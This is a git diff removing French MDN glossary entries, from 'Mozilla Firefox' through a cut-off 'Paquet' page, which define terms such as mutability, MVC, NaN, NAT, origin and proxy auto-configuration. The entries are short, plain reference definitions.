- - diff --git a/files/fr/glossaire/mozilla_firefox/index.html b/files/fr/glossaire/mozilla_firefox/index.html deleted file mode 100644 index 3e2e370324..0000000000 --- a/files/fr/glossaire/mozilla_firefox/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Mozilla Firefox -slug: Glossaire/Mozilla_Firefox -tags: - - Firefox - - Glossaire - - Infrastructure - - Mozilla - - Mozilla Firefox - - Navigateur -translation_of: Glossary/Mozilla_Firefox ---- -

Mozilla Firefox est un {{Glossary("navigateur")}} open source libre dont le développement est supervisé par Mozilla Corporation. Firefox fonctionne sur Windows, OS X, Linux, et Android.

- -

Distribué pour la première fois en novembre 2004, Firefox est entièrement personnalisable grâce à des thèmes, plug-ins, et modules.  Firefox utilise {{glossary("Gecko")}} pour réaliser l'affichage des pages web, et implémente aussi bien les normes Web actuelles que celles à venir.

- -

Pour en savoir plus

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/muable/index.html b/files/fr/glossaire/muable/index.html deleted file mode 100644 index b35d191a8a..0000000000 --- a/files/fr/glossaire/muable/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Muable -slug: Glossaire/Muable -tags: - - Débutant - - Glossaire - - Variables -translation_of: Glossary/Mutable ---- -

Une variable muable (mutable) est une variable qui peut être modifiée. En {{glossary("JavaScript")}}, seuls les {{Glossary("Object","objets")}} et {{Glossary("Array","tableaux")}} (arrays) sont muables, pas {{Glossary("primitive", "les valeurs primitives")}}.

- -

(Vous pouvez faire pointer un nom de variable vers une nouvelle valeur, mais la valeur précédente est toujours conservée en mémoire. D'où le besoin de nettoyage.)

- -

Un objet muable est un objet dont l'état peut être modifié après sa création.

- -

Les objets immuables (immutable) sont des objets dont l'état ne peut être modifié une fois l'objet créé.

- -

Chaînes de caractères et nombres sont immuables. Un exemple pour bien comprendre :

- -
var immutableString = "Hello";
-
-// Dans le code ci-dessus, un nouvel objet avec une valeur chaîne de caractère est créé.
-
-immutableString = immutableString + "World";
-
-// Nous ajoutons "World" à la valeur existante.
-
- -

En ajoutant la variable "immutableString" avec une valeur de chaîne, les événements suivants se produisent :

- -
    -
  1. La valeur existante de la variable "immutableString" est récupérée
    2. -
  2. "World" est ajouté à la valeur existante de "immutableString"
    3. -
  3. La valeur résultante est alors allouée à un nouveau bloc de mémoire
    4. -
  4. L'objet "immutableString" pointe maintenant vers le nouvel espace mémoire créé
    5. -
  5. L'ancien espace mémoire est maintenant disponible pour la récupération de place (nettoyage).
    6. -
- -

 

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Objet_immuable")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/mvc/index.html b/files/fr/glossaire/mvc/index.html deleted file mode 100644 index 590a043bb8..0000000000 --- a/files/fr/glossaire/mvc/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: MVC -slug: Glossaire/MVC -tags: - - Conception - - Glossaire - - Logiciel -translation_of: Glossary/MVC ---- -

MVC (Model-View-Controller ou Modèle-Vue-Contrôleur) est un modèle dans la conception de logiciels. Il met l'accent sur la séparation entre la logique métier et l'affichage du logiciel. Cette «séparation des préoccupations» permet une meilleure répartition du travail et une maintenance améliorée. Certains autres modèles de conception sont basés sur MVC, tels que MVVM (Model-View-Viewmodel), MTP (Model-View-Presenter) et MVW (Model-View-Whatever).

- -

Les 3 parties du modèle de conception de logiciel MVC peuvent être décrites comme suit :

- -
    -
  1. Model (modèle) : gère les données et la logique métier.
    2. -
  2. View (vue) : gère la disposition et l'affichage.
    3. -
  3. Controller (contrôleur) : achemine les commandes des parties "model" et "view".
    4. -
- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Modèle-vue-contrôleur")}} sur Wikipedia
    • -
- -

Apprentissage de MVC

- - diff --git "a/files/fr/glossaire/m\303\251tadonn\303\251e/index.html" "b/files/fr/glossaire/m\303\251tadonn\303\251e/index.html" deleted file mode 100644 index 22c547e97f..0000000000 --- "a/files/fr/glossaire/m\303\251tadonn\303\251e/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Métadonnée -slug: Glossaire/Métadonnée -tags: - - CodingScripting - - Glossaire - - HTML - - métadonnée -translation_of: Glossary/Metadata ---- -

Une métadonnée est — dans sa définition la plus simple — une donnée qui décrit une donnée. Par exemple, un document {{glossary("HTML")}} est une donnée, mais son élément {{htmlelement("head")}} peut aussi contenir des métadonnées le décrivant — par exemple qui l'a écrit, ou son résumé.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Métadonnée", "Métadonnée")}} sur Wikipédia
    • -
- -

Métadonnée HTML

- -
    -
  • L'élément {{htmlelement("meta")}} sur MDN
    • -
diff --git "a/files/fr/glossaire/m\303\251thode/index.html" "b/files/fr/glossaire/m\303\251thode/index.html" deleted file mode 100644 index aded88ffb7..0000000000 --- "a/files/fr/glossaire/m\303\251thode/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Méthode -slug: Glossaire/Méthode -tags: - - Glossaire - - Programmation - - Script -translation_of: Glossary/Method ---- -

Une méthode est une {{glossary("fonction", "fonction")}} (function) qui est une {{glossary("property","propriété")}} d'un {{glossary("object","objet")}}. Il existe deux sortes de méthodes : Les méthodes d'instance qui représentent les fonctions fournissant une interface pour effectuer des actions dans le contexte de l'objet qu'elles composent ou les méthodes statiques qui représentent les fonctions pouvant être exécutées sans nécessiter d'instanciation.

- -
-

Note: En JavaScript, les fonctions sont elles-mêmes des objets. Dans ce contexte, une méthode est plus précisément une {{glossary("object reference","référence vers un objet")}} de type function.

-
- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/namespace/index.html b/files/fr/glossaire/namespace/index.html deleted file mode 100644 index 18606c6d32..0000000000 --- a/files/fr/glossaire/namespace/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Namespace -slug: Glossaire/Namespace -tags: - - Glossary -translation_of: Glossary/Namespace ---- -

Un espace de nom (en anglais : Namespace) est un contexte qui permet d'identifier et grouper un ensemble logique d'éléments utilisés par un programme. Dans un même contexte et une même portée (scope), un identifiant doit identifier une entité de manière unique.

- -

Dans un système d'exploitation, un dossier est un namespace. Chaque fichier ou sous-dossier a un nom unique mais pouvant être réutilisé à un autre niveau d'arborescence. 

- -

En savoir plus

- -

Connaissance générale

- -
    -
  • {{Interwiki("wikipedia", "Namespace")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/nan/index.html b/files/fr/glossaire/nan/index.html deleted file mode 100644 index fc42a39015..0000000000 --- a/files/fr/glossaire/nan/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: NaN -slug: Glossaire/NaN -tags: - - Encodage - - Glossaire -translation_of: Glossary/NaN ---- -

NaN (Not a Number — pas un nombre) est un {{Glossary("Type", "type de données")}} numérique qui indique une valeur indéfinie ou une valeur qui ne peut pas être représentée, en particulier le résultat d'une opération à virgule flottante.

- -

Par exemple, NaN peut représenter une valeur infinie, le résultat d'une division par zéro, la racine carrée d'un nombre négatif (qui est un nombre imaginaire, tandis que les nombres à virgule flottante sont des nombres réels).

- -

Dans la pratique, si l'on divise deux variables dans un programme {{glossary("JavaScript")}}, le résultat peut être NaN, qui est prédéfini dans JavaScript comme "{{glossary("undefined")}}". Ainsi, cette division peut casser le programme. Cela signifie que si ce calcul était une petite partie d'un algorithme nettement plus gros, il serait compliqué de localiser où se trouve l'erreur. Heureusement, comme le résultat sera NaN, et que nous savons que notre diviseur pourrait être 0, il est possible de mettre en place des tests qui préviendront ce genre de calcul ou informeront que ceux-ci ont eu lieu.

- -

Pour approfondir

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia", "NaN")}} sur Wikipedia
    • -
- -

Informations techniques

- - diff --git a/files/fr/glossaire/nat/index.html b/files/fr/glossaire/nat/index.html deleted file mode 100644 index 02c9028eca..0000000000 --- a/files/fr/glossaire/nat/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: NAT -slug: Glossaire/NAT -tags: - - Débutant - - Glossaire - - Infrastructure - - Mécanismes web - - WebRTC -translation_of: Glossary/NAT ---- -

NAT (Network Address Translation) est une technique pour permettre à plusieurs ordinateurs de partager une adresse IP. Le NAT attribue des adresses uniques aux ordinateurs du réseau local et ajuste le trafic réseau entrant/sortant pour envoyer les données au bon endroit.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/native/index.html b/files/fr/glossaire/native/index.html deleted file mode 100644 index acaf7619c4..0000000000 --- a/files/fr/glossaire/native/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Native -slug: Glossaire/Native -tags: - - Glossaire - - Programmation -translation_of: Glossary/Native ---- -

Une application native a été compilée pour s'exécuter sur la combinaison logiciel-matériel habituelle de l'architecture cible.

- -

Un exemple d'application Android native serait une application mobile écrite en Java avec la chaîne d'outils Android.

- -

À l'inverse, une application web qui s'exécute dans un navigateur n'est pas native : elle est exécutée dans le navigateur web, qui se trouve au-dessus de l'environnement natif, et non dans l'environnement natif lui-même.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Code natif")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/navigateur/index.html b/files/fr/glossaire/navigateur/index.html deleted file mode 100644 index 484c26cc70..0000000000 --- a/files/fr/glossaire/navigateur/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Navigateur -slug: Glossaire/Navigateur -tags: - - Glossaire - - Navigation -translation_of: Glossary/Browser ---- -

Un navigateur internet est un programme informatique qui reçoit et affiche les pages du {{Glossary("World Wide Web","Web")}}, et permet aux utilisateurs d'accéder à d'autres pages au travers d'{{Glossary("hyperlink","hyperliens")}}.

- -

Pour approfondir

- -

Connaissances générales

- - - -

Télécharger un navigateur

- - diff --git a/files/fr/glossaire/netscape_navigator/index.html b/files/fr/glossaire/netscape_navigator/index.html deleted file mode 100644 index 6049ba3964..0000000000 --- a/files/fr/glossaire/netscape_navigator/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Netscape Navigator -slug: Glossaire/Netscape_Navigator -tags: - - Glossaire - - Navigateur - - Navigation - - Netscape - - Netscape Navigator -translation_of: Glossary/Netscape_Navigator ---- -

Netscape Navigator, ou Netscape, était le principal {{glossary("navigateur")}} des années 90. Il était basé sur Mosaic et l'équipe de Netscape était dirigée par Marc Andreessen, un programmeur qui a également écrit du code pour Mosaic.

- -

Netscape a contribué à rendre l'expérience {{glossary("World Wide Web","Web")}} graphique plutôt que texte uniquement. Beaucoup de fonctionnalités de navigation sont devenues des standards après avoir été introduites par Netscape. Le navigateur pouvait afficher une page web pendant son chargement, utiliser JavaScript pour les formulaires et rendre du contenu interactif, et enregistrer des informations de session dans des cookies. Malgré ses avantages techniques et sa prédominance initiale, {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} l'a rapidement dépassé en terme de parts de marché vers la fin des années 90.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Netscape Navigator")}} sur Wikipédia
    • -
- -

 

diff --git a/files/fr/glossaire/nntp/index.html b/files/fr/glossaire/nntp/index.html deleted file mode 100644 index 085a6a7992..0000000000 --- a/files/fr/glossaire/nntp/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: NNTP -slug: Glossaire/NNTP -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/NNTP ---- -

NNTP (Network News Transfer Protocol) est un {{Glossary("Protocol","protocole")}} utilisé pour transférer des messages {{Glossary("Usenet")}} d'un client vers un serveur ou entre serveurs.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Network_News_Transfer_Protocol", "NNTP")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/node.js/index.html b/files/fr/glossaire/node.js/index.html deleted file mode 100644 index d087a3262a..0000000000 --- a/files/fr/glossaire/node.js/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Node.js -slug: Glossaire/Node.js -tags: - - Glossaire - - Infrastructure - - JavaScript -translation_of: Glossary/Node.js ---- -

Node.js est un environnement {{Glossary("JavaScript")}} multiplateforme qui permet aux développeurs de créer des applications réseaux et côté serveur en utilisant JavaScript. 

- -

Pour en savoir plus

- -

Connaissances générales

- - - -

Informations techniques

- - - -

 

diff --git a/files/fr/glossaire/nom_de_domaine/index.html b/files/fr/glossaire/nom_de_domaine/index.html deleted file mode 100644 index 1f78cfbd27..0000000000 --- a/files/fr/glossaire/nom_de_domaine/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Nom de domaine -slug: Glossaire/Nom_de_domaine -tags: - - Glossaire - - Nom de domaine - - WebMechanics - - protocole -translation_of: Glossary/Domain_name ---- -

Un nom de domaine est l'adresse d'un site web sur l'{{Glossary("Internet")}}. Les noms de domaine sont utilisés dans les {{Glossary("URL","URLs")}} pour identifier le serveur qui héberge une page web particulière. Le nom de domaine consiste en séquence hiérarchique de noms (labels) séparés par des points et terminée par une {{glossary("TLD","extension")}}.

- -

Pour en savoir plus

- -

Culture générale

- - diff --git "a/files/fr/glossaire/noms_r\303\251serv\303\251s/index.html" "b/files/fr/glossaire/noms_r\303\251serv\303\251s/index.html" deleted file mode 100644 index 7e7bed4e5f..0000000000 --- "a/files/fr/glossaire/noms_r\303\251serv\303\251s/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Noms réservés -slug: Glossaire/Noms_réservés -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Placeholder_names ---- -

Les noms réservés sont courramment utilisés en cryptographie pour indiquer les participants à une conversation, sans recourir à une terminologie comme "Partie A", "indiscret" et "attaquant malveillant". Les noms les plus courants sont :

- -
    -
  • Alice et Bob, deux parties qui veulent s'envoyer des messages réciproquement, parfois rejoints par Carol, un troisième participant
    • -
  • Eve, un attaquant passif qui écoute la conversation d'Alice et Bob
    • -
  • Mallory, un attaquant actif ("homme du milieu") qui est capable de modifier leur conversation et relire les anciens messages
    • -
diff --git a/files/fr/glossaire/non-normative/index.html b/files/fr/glossaire/non-normative/index.html deleted file mode 100644 index 725b838c3f..0000000000 --- a/files/fr/glossaire/non-normative/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: non-normatif -slug: Glossaire/non-normative -tags: - - Glossaire - - Infrastructure - - Specification - - Standardisation -translation_of: Glossary/non-normative ---- -

Les {{Glossary("Specification","spécifications")}} logicielles contiennent souvent des informations marquées comme non normatives ou informatives, ce qui signifie qu'elles sont fournies dans le but d'aider le lecteur à mieux comprendre la spécification ou pour montrer un exemple ou une bonne pratique, et qu'il n'est pas nécessaire de les suivre comme une règle. Les sections qui contiennent les informations officielles à respecter sont souvent marquées comme {{Glossary("Normative", "normatives")}}.

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/normative/index.html b/files/fr/glossaire/normative/index.html deleted file mode 100644 index 5d9c587333..0000000000 --- a/files/fr/glossaire/normative/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Normatif -slug: Glossaire/Normative -tags: - - Glossaire - - Infrastructure - - Spécification(2) - - Standardisation -translation_of: Glossary/Normative ---- -

Normatif est un mot communément utilisé dans des {{Glossary("spécification", "spécifications")}} logicielles pour désigner les sections qui sont standardisées et qui doivent être suivies comme des règles. Les spécifications peuvent également contenir des sections marquées {{Glossary("non-normative","non normatives")}} ou informatives, ce qui signifie qu'elles sont données dans le but d'aider le lecteur à mieux comprendre les spécifications ou pour apporter un exemple concret ou de bonnes pratiques, qui n'ont pas à être suivis comme une règle.

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/null/index.html b/files/fr/glossaire/null/index.html deleted file mode 100644 index b988a26b36..0000000000 --- a/files/fr/glossaire/null/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: 'Null' -slug: Glossaire/Null -tags: - - CodingScripting - - Glossaire -translation_of: Glossary/Null ---- -

En informatique, une valeur null représente une référence qui pointe, en général de manière volontaire, vers un {{glossary("objet")}} ou une adresse invalide ou inexistant. La signification d'une référence nulle varie selon les implémentations des langages.

- -

En {{Glossary("JavaScript")}}, null est l'une des {{Glossary("Primitive", "valeurs primitives")}}.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Null")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/number/index.html b/files/fr/glossaire/number/index.html deleted file mode 100644 index 1f3bcd7fbf..0000000000 --- a/files/fr/glossaire/number/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Number -slug: Glossaire/Number -tags: - - CodingScripting - - Glossaire - - JavaScript -translation_of: Glossary/Number ---- -

En {{Glossary("JavaScript")}}, Number est un type de donnée numérique dans le format à virgule flottante double précision 64 bits (IEEE 754). Dans d'autres langages de programmation, différents types numériques peuvent exister, par exemple : Integers, Floats, Doubles, ou Bignums.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • -

    {{Interwiki("wikipedia", "Type_(informatique)#Types_prédéfinis", "Types numériques")}} sur Wikipédia

    -
    • -
- -

Référence technique

- -
    -
  • La structure de donnée JavaScript : Number
    • -
  • L'objet global JavaScript {{jsxref("Number")}}
    • -
diff --git a/files/fr/glossaire/objet/index.html b/files/fr/glossaire/objet/index.html deleted file mode 100644 index 88fecc0713..0000000000 --- a/files/fr/glossaire/objet/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Objet -slug: Glossaire/Objet -tags: - - Glossaire - - Intro - - Objet - - Programmation -translation_of: Glossary/Object ---- -

Un Objet est une structure contenant des données et des instructions en rapport avec ces données. Un Objet correspond parfois à des choses du monde réel, par exemple à une voiture ou à une piste dans un jeu vidéo de course. {{glossary("JavaScript")}}, Java, C++, Python et Ruby sont des exemples de langages de {{glossary("OOP","programmation orientée objet")}}.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/objet_global/index.html b/files/fr/glossaire/objet_global/index.html deleted file mode 100644 index 24ab7b529d..0000000000 --- a/files/fr/glossaire/objet_global/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Objet global -slug: Glossaire/Objet_global -tags: - - Encodage - - Glossaire - - Objets -translation_of: Glossary/Global_object ---- -

Un objet global est un {{glossary("Object","objet")}} qui existe toujours dans la {{glossary("Global scope","portée globale")}}.

- -

En JavaScript, un objet global est toujours défini. Dans un navigateur web, quand les scripts créent des variables globales, elles sont créées comme membres de l'objet global (dans {{Glossary("Node.js")}} ce n'est pas le cas). L'objet global {{Glossary("Interface")}} dépend du contexte d'exécution dans lequel le script s'exécute. Par exemple :

- -
    -
  • Dans un navigateur web, le code que le script n'a pas spécifiquement lancé comme tâche d'arrière-plan a pour objet global {{domxref("Window")}}. C'est la grande majorité du code JavaScript sur le Web.
    • -
  • L'exécution du code dans un {{domxref("Worker")}} a pour objet global {{domxref("WorkerGlobalScope")}} .
    • -
  • Les scripts exécutés sous {{Glossary("Node.js")}} ont un objet appelé global pour objet global.
    • -
diff --git a/files/fr/glossaire/objet_parent/index.html b/files/fr/glossaire/objet_parent/index.html deleted file mode 100644 index 6fe96993ab..0000000000 --- a/files/fr/glossaire/objet_parent/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Objet parent -slug: Glossaire/Objet_parent -tags: - - Glossaire - - Programmation -translation_of: Glossary/Parent_object ---- -

L'{{glossary("object","objet")}} auquel appartient une {{glossary("property","propriété")}} ou une {{glossary("method","méthode")}} donnée.

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/opengl/index.html b/files/fr/glossaire/opengl/index.html deleted file mode 100644 index 96a5d72e32..0000000000 --- a/files/fr/glossaire/opengl/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: OpenGL -slug: Glossaire/OpenGL -tags: - - Glossaire - - OpenGL - - Programmation -translation_of: Glossary/OpenGL ---- -

OpenGL (Open Graphics Library) est une interface de programmation d'application (API) multi-plateforme et un langage pour le rendu de graphismes vectoriels 2D et 3D. L'API est typiquement utilisée pour interagir avec un processeur graphique (ou GPU, graphics processing unit) pour que le rendu soit accéléré par le matériel.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "OpenGL")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/openssl/index.html b/files/fr/glossaire/openssl/index.html deleted file mode 100644 index e14e93385c..0000000000 --- a/files/fr/glossaire/openssl/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: OpenSSL -slug: Glossaire/OpenSSL -tags: - - Glossaire - - Sécurité -translation_of: Glossary/OpenSSL ---- -

OpenSSL est une implémentation open source de {{glossary("SSL")}} et de {{glossary("TLS")}}.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/opera_browser/index.html b/files/fr/glossaire/opera_browser/index.html deleted file mode 100644 index c13afeeae9..0000000000 --- a/files/fr/glossaire/opera_browser/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Navigateur Opera -slug: Glossaire/Opera_Browser -tags: - - Glossaire - - Navigateur - - Navigateur Opera - - Navigation - - Opera -translation_of: Glossary/Opera_Browser ---- -

Opera est le cinquième {{glossary("navigateur")}} web le plus utilisé, distribué publiquement en 1996 et ne fonctionnant à l'origine que sur Windows. Opera utilise {{glossary("Blink")}} comme moteur de rendu depuis 2013 (avant cette date, il s'agissait de {{glossary("Presto")}}). Opera existe également en versions tablette et mobile.

- -

En savoir plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/operand/index.html b/files/fr/glossaire/operand/index.html deleted file mode 100644 index f401dfe0c5..0000000000 --- a/files/fr/glossaire/operand/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Opérande -slug: Glossaire/Operand -tags: - - Encodage - - Glossaire -translation_of: Glossary/Operand ---- -

Un opérande est la partie d'une instruction qui représente la donnée manipulée par l'{{glossary("Operator","opérateur")}}. Par exemple, lors de l'ajout de deux nombres, les nombres sont les opérandes et "+" est l'opérateur.

- -

Pour en savoir plus

- -
    -
  • {{Interwiki("wikipedia", "Opérande")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/operator/index.html b/files/fr/glossaire/operator/index.html deleted file mode 100644 index 9b0496e837..0000000000 --- a/files/fr/glossaire/operator/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Opérateur -slug: Glossaire/Operator -tags: - - Glossaire - - Programmation -translation_of: Glossary/Operator ---- -

Syntaxe réservée constituée de caractères alphanumériques ou de ponctuation apportant des fonctionnalités intégrées.  Par exemple, "+" représente l'opérateur d'addition de nombres et de concatenation de chaînes de caractères, alors que l'opération "non", "!", est la négation d'une expression — par exemple, une déclaration vraie returnera false.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Opérateur (informatique)")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/ordre_canonique/index.html b/files/fr/glossaire/ordre_canonique/index.html deleted file mode 100644 index 9064b264e4..0000000000 --- a/files/fr/glossaire/ordre_canonique/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Ordre canonique -slug: Glossaire/Ordre_canonique -tags: - - CSS - - Encodage - - Glossaire - - ordre canonique -translation_of: Glossary/Canonical_order ---- -

En CSS, la locution "ordre canonique" est utilisée pour désigner l'ordre dans lequel des valeurs séparées doivent être spécifiées (ou {{Glossary("parse","analysées")}}) ou doivent être {{Glossary("serialization","sérialisées")}} dans le cadre d'une valeur de propriété CSS. Il est défini par la {{Glossary ("Syntax","syntaxe")}} formelle de la propriété et se réfère normalement à l'ordre dans lequel les valeurs longues doivent être spécifiées dans le cadre d'une seule valeur raccourcie.

- -

Par exemple, {{cssxref("background")}}, les valeurs de propriété raccourcie sont constituées de plusieurs propriétés background-* . L'ordre canonique de ces valeurs longues est défini comme suit :

- -
    -
  1. {{cssxref("background-image")}}
    2. -
  2. {{cssxref("background-position")}}
    3. -
  3. {{cssxref("background-size")}}
    4. -
  4. {{cssxref("background-repeat")}}
    5. -
  5. {{cssxref("background-attachment")}}
    6. -
  6. {{cssxref("background-origin")}}
    7. -
  7. {{cssxref("background-clip")}}
    8. -
  8. {{cssxref("background-color")}}
    9. -
- -

De plus, sa syntaxe exige que, si une valeur pour {{cssxref("background-size")}} est donnée, elle doit être spécifiée après la valeur de {{cssxref("background-position")}}, séparée par une barre oblique. D'autres valeurs peuvent apparaître dans n'importe quel ordre.

- -

En apprendre plus

- - diff --git a/files/fr/glossaire/origine/index.html b/files/fr/glossaire/origine/index.html deleted file mode 100644 index 751adb267d..0000000000 --- a/files/fr/glossaire/origine/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Origine -slug: Glossaire/Origine -tags: - - Glossaire - - Mécanismes web - - origine -translation_of: Glossary/Origin ---- -

Résumé

- -

L'origine d'une application web est définie par le schéma (protocole), l'hôte (domaine) et le port de l'{{Glossary("URL")}} utilisée pour y accéder. Deux objets ont la même origine seulement quand le schéma, l'hôte et le port correspondent.

- -

Quelques opérations sont limitées au contenu de même origine, et cette restriction peut être levée avec CORS.

- -

Exemples de même origine

- - - - - - - - - - - - -
http://example.com/app1/index.html
- http://example.com/app2/index.html		même origine parce que même schéma (http) et même hôte (example.com)
http://Example.com:80
- http://example.com		même origine parce que un serveur délivre du contenu HTTP via le port 80 par défaut
- -

Exemples d'origines différentes

- - - - - - - - - - - - - - - - -
http://example.com/app1
- https://example.com/app2		Schémas différents
http://example.com
- http://www.example.com
- http://myapp.example.com		Hôtes différents
http://example.com
- http://example.com:8080		Ports différents
- -

Pour en savoir plus

- -

Voir Same-origin policy (politique de même origine) pour plus d'informations.

diff --git a/files/fr/glossaire/ota/index.html b/files/fr/glossaire/ota/index.html deleted file mode 100644 index db26b69588..0000000000 --- a/files/fr/glossaire/ota/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: OTA -slug: Glossaire/OTA -tags: - - Glossaire - - Infrastructure - - Introduction - - Mise à jour - - OTA -translation_of: Glossary/OTA ---- -

Over The Air (OTA) se réfère à un système de mise à jour automatique sur des appareils connectés à un serveur central. Tous les propriétaires d'un appareil qui vont recevoir des instructions d'"update" (mise à jour) sont sur le même canal, et chaque appareil a souvent accès à plusieurs canaux (ex : pour les outils production ou ingénieur)

- -

En savoir plus

- - diff --git a/files/fr/glossaire/owasp/index.html b/files/fr/glossaire/owasp/index.html deleted file mode 100644 index dc155c1a58..0000000000 --- a/files/fr/glossaire/owasp/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: OWASP -slug: Glossaire/OWASP -tags: - - Glossaire - - Sécurité -translation_of: Glossary/OWASP ---- -

OWASP (Open Web Application Security Project) est une organisation à but non lucratif et un réseau mondial qui travaille sur la sécurité des logiciels libres, en particulier sur le Web.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/p2p/index.html b/files/fr/glossaire/p2p/index.html deleted file mode 100644 index 0e8769c6b9..0000000000 --- a/files/fr/glossaire/p2p/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: P2P -slug: Glossaire/P2P -translation_of: Glossary/P2P ---- -

P2P (Peer-to-peer ou pair à pair) est une architecture réseau dans laquelle tous les ordinateurs, appelés nœuds (peers), ont autant de privilèges et se partagent la charge de travail. Le P2P diffère d'une architecture client-serveur dans laquelle plusieurs clients (nœuds) se connectent à un serveur centralisé pour utiliser des services.

- -

Pour en savoir plus

- -

Connaissances générales

- -
    -
  • P2P sur Wikipédia
    • -
diff --git a/files/fr/glossaire/pac/index.html b/files/fr/glossaire/pac/index.html deleted file mode 100644 index 5784cf550a..0000000000 --- a/files/fr/glossaire/pac/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: PAC -slug: Glossaire/PAC -tags: - - Glossaire - - Programmation -translation_of: Glossary/PAC ---- -

Un fichier Proxy Auto-Configuration (PAC) est un fichier qui contient une fonction FindProxyForURL() laquelle est utilisée par le navigateur pour déterminer  si les requêtes (y compris HTTP, HTTPS et FTP) doivent être envoyées directement à la destination, ou si elles doivent être transmises via un serveur proxy Web.

- -
function FindProxyForURL(url, host) {
-  /* ... */
-}
-
-ret = FindProxyForURL(url, host)
- -

Voir fichier Proxy Auto-Configuration (PAC)  pour plus de détails sur la façon de les utiliser et d'en créer de nouveaux.

- -

Pour approfondirEdit

- -

Culture générale

- -
    -
  • PAC sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/paquet/index.html b/files/fr/glossaire/paquet/index.html deleted file mode 100644 index 9f6b19625e..0000000000 --- a/files/fr/glossaire/paquet/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Paquet -slug: Glossaire/Paquet -tags: - - Glossaire - - Paquet - - Paquet réseau - - Performance Web - - Reference - - TCP - - charge utile - - payload -translation_of: Glossary/Packet ---- -

Un paquet, ou paquet réseau, est un bloc de données formaté envoyé sur un réseau. Les principaux composants d'un paquet réseau sont les données utilisateur et les informations de contrôle. Les données utilisateur sont appelées payload ou charge utile. Les informations de contrôle sont les informations de livraison du payload. Il se compose d'adresses réseau pour la source et la destination, des informations de séquencement et des codes de détection d'erreur et se trouve généralement dans les en-têtes et le pied de page des paquets.

- -

Ce qu'un paquet contient

- -

Limite de saut

- -

Un saut se produit lorsqu'un paquet est passé d'un réseau au réseau suivant. C'est un champ qui diminue de un à chaque fois qu'un paquet passe, une fois qu'il atteint 0, il a échoué et le paquet est rejeté.

- -

Au fil du temps, le nombre de paquets peut provoquer une traversée dans des circuits fermés, le nombre de paniers en circulation s'accumulerait et conduirait finalement à l'échec du réseau.

- -

Détection et correction des erreurs

- -

